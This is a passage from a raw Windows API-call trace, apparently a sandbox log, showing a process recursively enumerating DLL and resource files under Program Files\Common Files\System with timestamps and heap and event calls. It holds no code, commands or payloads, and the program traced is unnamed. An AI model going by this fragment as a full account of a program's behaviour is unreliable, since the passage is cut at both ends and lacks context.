ftLastWriteTime.dwLowDateTime=0x835d7620, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0236.650] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0236.650] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0236.650] FindClose (in: hFindFile=0x65bd08 | out: hFindFile=0x65bd08) returned 1 [0236.650] GetProcessHeap () returned 0x560000 [0236.651] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5cad68 | out: hHeap=0x560000) returned 1 [0236.651] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0236.651] GetProcessHeap () returned 0x560000 [0236.651] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5cad68 [0236.651] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd08 [0236.651] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.651] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0236.651] GetProcessHeap () returned 0x560000 [0236.651] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0236.652] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0236.652] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.652] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1 [0236.652] ResetEvent (hEvent=0x118) returned 1 [0236.653] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0236.659] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 0 [0236.659] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0236.659] GetProcessHeap () returned 0x560000 [0236.660] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0236.660] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0236.660] FindClose (in: hFindFile=0x65bd08 | out: hFindFile=0x65bd08) returned 1 [0236.660] GetProcessHeap () returned 0x560000 [0236.660] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5cad68 | out: hHeap=0x560000) returned 1 [0236.660] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0236.660] GetProcessHeap () returned 0x560000 [0236.660] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5cad68 [0236.660] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd08 [0236.673] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.673] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0236.674] GetProcessHeap () returned 0x560000 [0236.674] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0236.674] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0236.675] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.675] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0236.675] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0236.676] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb93886, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb93886, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0236.676] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0236.678] ResetEvent (hEvent=0x118) returned 1 [0236.678] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0236.687] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0236.688] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0236.688] GetProcessHeap () returned 0x560000 [0236.688] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0236.689] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0236.689] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cd0c35, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14cd0c35, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x349a6d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0236.689] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c0138a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86c0138a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86c0138a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0236.690] ResetEvent (hEvent=0x118) returned 1 [0236.690] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0236.706] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab69cf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x2ab69cf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x838ac7b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0236.706] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3c3a6b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc3c3a6b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x349f2860, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0236.707] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d2cdc0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x1d2cdc0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x383128c0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0236.707] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c2ad0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84c2ad0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84c50e6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0236.711] ResetEvent (hEvent=0x118) returned 1 [0236.711] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0237.088] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabf604b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfabf604b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xdf9a48f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0237.089] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa4ffde2f, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0237.089] ResetEvent (hEvent=0x118) returned 1 [0237.089] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0237.095] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa52d1816, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0237.095] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f320f1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0237.095] ResetEvent (hEvent=0x118) returned 1 [0237.096] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0237.112] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9350f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xcc9350f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xcc210f8, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0237.112] ResetEvent (hEvent=0x118) returned 1 [0237.112] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0237.121] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f7e4bf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14f7e4bf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x44773fc0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x59000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0237.122] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e5c85, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc9e5c85, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xc97386e, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0237.122] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x44e18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0237.122] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0237.123] ResetEvent (hEvent=0x118) returned 1 [0237.123] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0237.141] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0237.141] FindClose (in: hFindFile=0x65bd08 | out: hFindFile=0x65bd08) returned 1 [0237.141] GetProcessHeap () returned 0x560000 [0237.142] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5cad68 | out: hHeap=0x560000) returned 1 [0237.142] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0237.142] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0237.142] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfefb0 | out: 